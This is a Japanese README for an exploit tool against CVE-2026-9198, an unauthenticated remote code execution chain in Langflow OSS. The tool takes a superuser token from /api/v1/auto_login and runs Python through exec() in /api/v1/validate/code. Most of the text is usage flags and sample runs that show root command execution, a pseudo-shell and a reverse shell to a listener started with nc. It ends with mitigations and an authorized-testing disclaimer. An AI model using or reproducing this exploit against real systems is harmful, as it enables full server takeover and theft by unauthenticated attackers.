
CVE-2026-9198のエクスプロイト。対象環境における脆弱性を評価するための概念実証ペイロードと検証手順が含まれています。
デフォルト構成の IBM Langflow OSS(1.0.0 – 1.10.0)における未認証のリモートコード実行。2つの脆弱性を連鎖させます:
GET /api/v1/auto_login は、AUTO_LOGIN が有効な場合(Langflow < 1.5 のデフォルト)、認証情報を持たない任意の呼び出し元に SUPERUSER JWT を発行します。POST /api/v1/validate/code は、ユーザー提供の Python コードをサンドボックスなしで exec() に渡します。これらを組み合わせることで(CVE-2026-9198)、未認証の攻撃者が Langflow サービスユーザーとしてコード実行を取得します — これはしばしば root です。
/api/v1/auto_login からスーパーユーザーのベアラートークンを要求します(認証なし)。
/api/v1/validate/code にペイロードを送信します。このエンドポイントはコードを「検証」するために exec() します。Python は定義時にデフォルト引数の値を評価するため、ペイロードは関数のデフォルト引数にラップされます:
def _v(a=exec('<payload>')): pass
コマンド実行の場合、ペイロードはメッセージがコマンド出力である例外を発生させ、エンドポイントはそれをレスポンス(function.errors[])に反映します。
./exploit.py -t <target> [options]
-t, --target 対象ホスト/IP(または完全なURL) (必須)
-p, --port Langflow ポート (デフォルト 7860)
-c, --cmd 単一のシェルコマンドを実行し、出力を表示
--shell 対話型疑似シェル(各行がRCE経由で実行される)
--lhost リバースシェルリスナーのIP
--lport リバースシェルリスナーのポート (デフォルト 4444)
-k, --token このベアラートークンを使用(auto_loginをスキップ)
--timeout HTTPタイムアウト(秒) (デフォルト 20)
--no-banner バナーを抑制
-h, --help ヘルプを表示
$ ./exploit.py -t 192.168.30.128
CVE-2026-9198 — Langflow unauthenticated RCE
auto_login (superuser token) -> validate/code (exec)
[*] requesting superuser token via /api/v1/auto_login ...
[+] token: eyJhbGciOiJIUzI1NiIsInR...
uid=0(root) gid=0(root) groups=0(root)
$ ./exploit.py -t 192.168.30.128 -c 'cat /root/proof.txt'
...
d4b81f6a3c9e07254f6a3c9e07254d4b
$ ./exploit.py -t 192.168.30.128 --shell
[+] RCE confirmed: uid=0(root) gid=0(root) groups=0(root)
[*] pseudo-shell — each line runs via a fresh request. Ctrl-C / 'exit' to quit.
langflow$ hostname
flow
langflow$ whoami
root
# reverse shell (start `nc -lvnp 4444` first)
$ ./exploit.py -t 192.168.30.128 --lhost 10.10.14.7 --lport 4444
[*] sending reverse shell to 10.10.14.7:4444 (start your listener first) ...
[+] payload sent. Check your listener.
pip install は不要)AUTO_LOGIN が有効な場合にのみ動作します(Langflow < 1.5 のデフォルト。>= 1.5 では明示的に LANGFLOW_AUTO_LOGIN=true を設定する必要があります)。auto_login がトークンを返さない場合、対象はこの経路では悪用できません — 有効なトークンをお持ちの場合は -k で指定してください。function.errors[] に返されます。stderr は stdout にマージされるため、失敗したコマンドでもエラーが表示されます。root の場合(systemd や Docker を root で実行する環境下で素の langflow run を実行する場合によくある)、これはホストの直接的な root 権限となります。validate/code は信頼できない入力を exec() してはならず、auto_login はスーパーユーザートークンを発行してはなりません。LANGFLOW_AUTO_LOGIN=false を設定し、実際のスーパーユーザー認証情報を構成してください。root として実行しないでください。本プロジェクトは、許可されたセキュリティテストおよび教育目的のみで公開されています。所有していないシステム、または明示的なテスト許可を得ていないシステムに対して使用しないでください。作者は悪用について一切の責任を負いません。